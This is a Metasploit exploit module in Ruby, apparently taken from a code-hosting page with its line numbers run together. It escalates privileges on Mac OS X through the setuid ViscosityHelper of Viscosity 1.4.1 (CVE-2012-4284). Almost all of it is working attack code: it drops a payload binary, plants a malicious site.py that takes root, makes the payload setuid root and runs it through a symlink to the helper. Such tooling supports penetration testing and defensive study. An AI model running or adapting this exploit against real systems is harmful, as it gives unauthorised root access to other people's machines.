Path: blob/master/modules/exploits/osx/local/setuid_viscosity.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::OSX::Priv9include Msf::Post::File10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',18'Description' => %q{19This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The20vulnerability exists in the setuid ViscosityHelper, where an insufficient21validation of path names allows execution of arbitrary python code as root.22This module has been tested successfully on Viscosity 1.4.1 over Mac OS X2310.7.5.24},25'References' => [26[ 'CVE', '2012-4284' ],27[ 'OSVDB', '84709' ],28[ 'EDB', '20485' ],29[ 'URL', 'http://blog.zx2c4.com/791' ]30],31'License' => MSF_LICENSE,32'Author' => [33'Jason A. Donenfeld', # Vulnerability discovery and original Exploit34'juan vazquez' # Metasploit module35],36'DisclosureDate' => '2012-08-12',37'Platform' => 'osx',38'Arch' => [ ARCH_X86, ARCH_X64 ],39'SessionTypes' => [ 'shell' ],40'Targets' => [41[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],42[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]43],44'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51}52)53)54register_options [55# These are not OptPath because it's a *remote* path56OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),57OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])58]59end6061def base_dir62datastore['WritableDir'].to_s63end6465def check66unless file? datastore['Viscosity']67vprint_error 'ViscosityHelper not found'68return CheckCode::Safe69end7071check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000")7273unless check.include? 'ViscosityHelper'74return CheckCode::Safe75end7677CheckCode::Vulnerable78end7980def clean81file_rm(@link)82file_rm(@python_file)83file_rm("#{@python_file}c")84file_rm(@exe_file)85end8687def exploit88if is_root?89fail_with Failure::BadConfig, 'Session already has root privileges'90end9192if check != CheckCode::Vulnerable93fail_with Failure::NotVulnerable, 'Target is not vulnerable'94end9596unless writable? base_dir97fail_with Failure::BadConfig, "#{base_dir} is not writable"98end99100exe_name = rand_text_alpha(8)101@exe_file = "#{base_dir}/#{exe_name}"102print_status("Dropping executable #{@exe_file}")103write_file(@exe_file, generate_payload_exe)104105evil_python = <<~EOF106import os107os.setuid(0)108os.setgid(0)109os.system("chown root #{@exe_file}")110os.system("chmod 6777 #{@exe_file}")111os.execl("#{@exe_file}", "#{exe_name}")112EOF113114@python_file = "#{base_dir}/site.py"115print_status("Dropping python #{@python_file}...")116write_file(@python_file, evil_python)117118print_status("Creating symlink...")119link_name = rand_text_alpha(8)120@link = "#{base_dir}/#{link_name}"121cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"122123print_status("Running...")124begin125cmd_exec "#{@link}"126rescue127print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")128clean129return130end131print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")132end133end134135136